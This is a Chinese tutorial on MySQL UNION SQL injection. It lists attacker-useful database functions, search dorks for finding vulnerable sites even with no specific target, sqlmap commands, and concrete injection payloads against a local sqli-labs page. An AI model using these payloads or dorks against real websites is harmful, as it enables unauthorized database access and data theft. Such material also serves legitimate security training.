简单的Union注入
1.MySql注入常用函数:
函数名称 | 函数功能 |
---|---|
system_user() | 系统用户名 |
user() | 用户名 |
current_user() | 当前用户名 |
session_user() | 连接数据库的用户名 |
database() | 当前数据库名 |
version() | 数据库版本 |
@@datadir | 数据库路径 |
@@basedir | 数据库安装路径 |
@@version_compile_os | 操作系统版本 |
count() | 返回执行结果数量 |
concat() | 没有分隔符连接字符串 |
concat_ws() | 含有分隔符连接字符串 |
group_concat() | 连接一个组的所有字符串,并以逗号分隔数据 |
load_file() | 读取本地文件 |
into outfile | 写文件 |
ascii() | 字符串的ASCII代码值 |
ord() | 返回字符串第一个字符的ASCII码值 |
mid() | 返回字符串的一部分 |
substr | 返回一个字符串的一部分 |
length | 返回字符串的长度 |
2.目标搜集:
无特定目标:
inurl:php?id= # 在百度搜索里面输入
有特定目标:
inurl:php?id= site:target.com
工具爬取:
splider,对搜索引擎和目标网站链接进行爬取
3.寻找SQL注入点:(注入识别)
1.手工简单识别:
and 1=1 / and 1=2
and '1'=1 /and '1'='2
and 1 like 1 / and 1 like 2
2.工具识别:
sqlnamp -m filename(filename中保存检测目标)
sqlnamp --crawl (sqlmap对目标网址进行爬取,然后依次进行测试)
4.SQL手工注入方法:
查询数据库的核心语法:
功能名称 | 查询语句 |
---|---|
查库 | select schema_name from information_schema.schemata |
查表 | select table_name from information_schema.tables where table_schema=库名 |
查列 | select column_name from information_schema.columns where table_name=表名 |
查数据 | select 列名 from 库名.表名 |
这些都是一步一步查的,第一步先查库,第二步查数据库里面的表,第三步查询表里面的列,在查数据。所以这很重要。
5.UNION注入应用场景:
(1).只有最后一个select子句允许有 order by
(2).只有最后一个select子句允许有LIMIT
(3).只要UNION连接的几个查询字段一样且列的数据类型转换没有问题,就可以查询出结果。
(4).注入点页面有回显
6.UNION注入方法:
1.order by确定列数,用二分法(比如:http://127.0.0.1/sQLI/Less-1/?id=2' order by 3--+
http://127.0.0.1/sQLI/Less-1/?id=2' order by 4--+ 当没有列的时候会报错
2.观察页面返回,选取可以显示的数据位置,进行下一步的注入
3.读库信息(从这开始可以执行任意语句)
4.读表信息
5.读字段
6.读数据
比如语句:http://127.0.0.1/sQLI/Less-1/?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+
group_concat():表示一行返回多个数据的时候使用
7.UNION操作符:
UNION 操作符用于合并两个或多个select语句的结果集
注意:UNION内部的select语句必须拥有相同的列,列也必须具有相同的数据类型,同时每条SELECT语句中的列的顺序必须相同
默认情况:UNION操作符选取不同的值,如果允许重复的值,使用UNION ALL.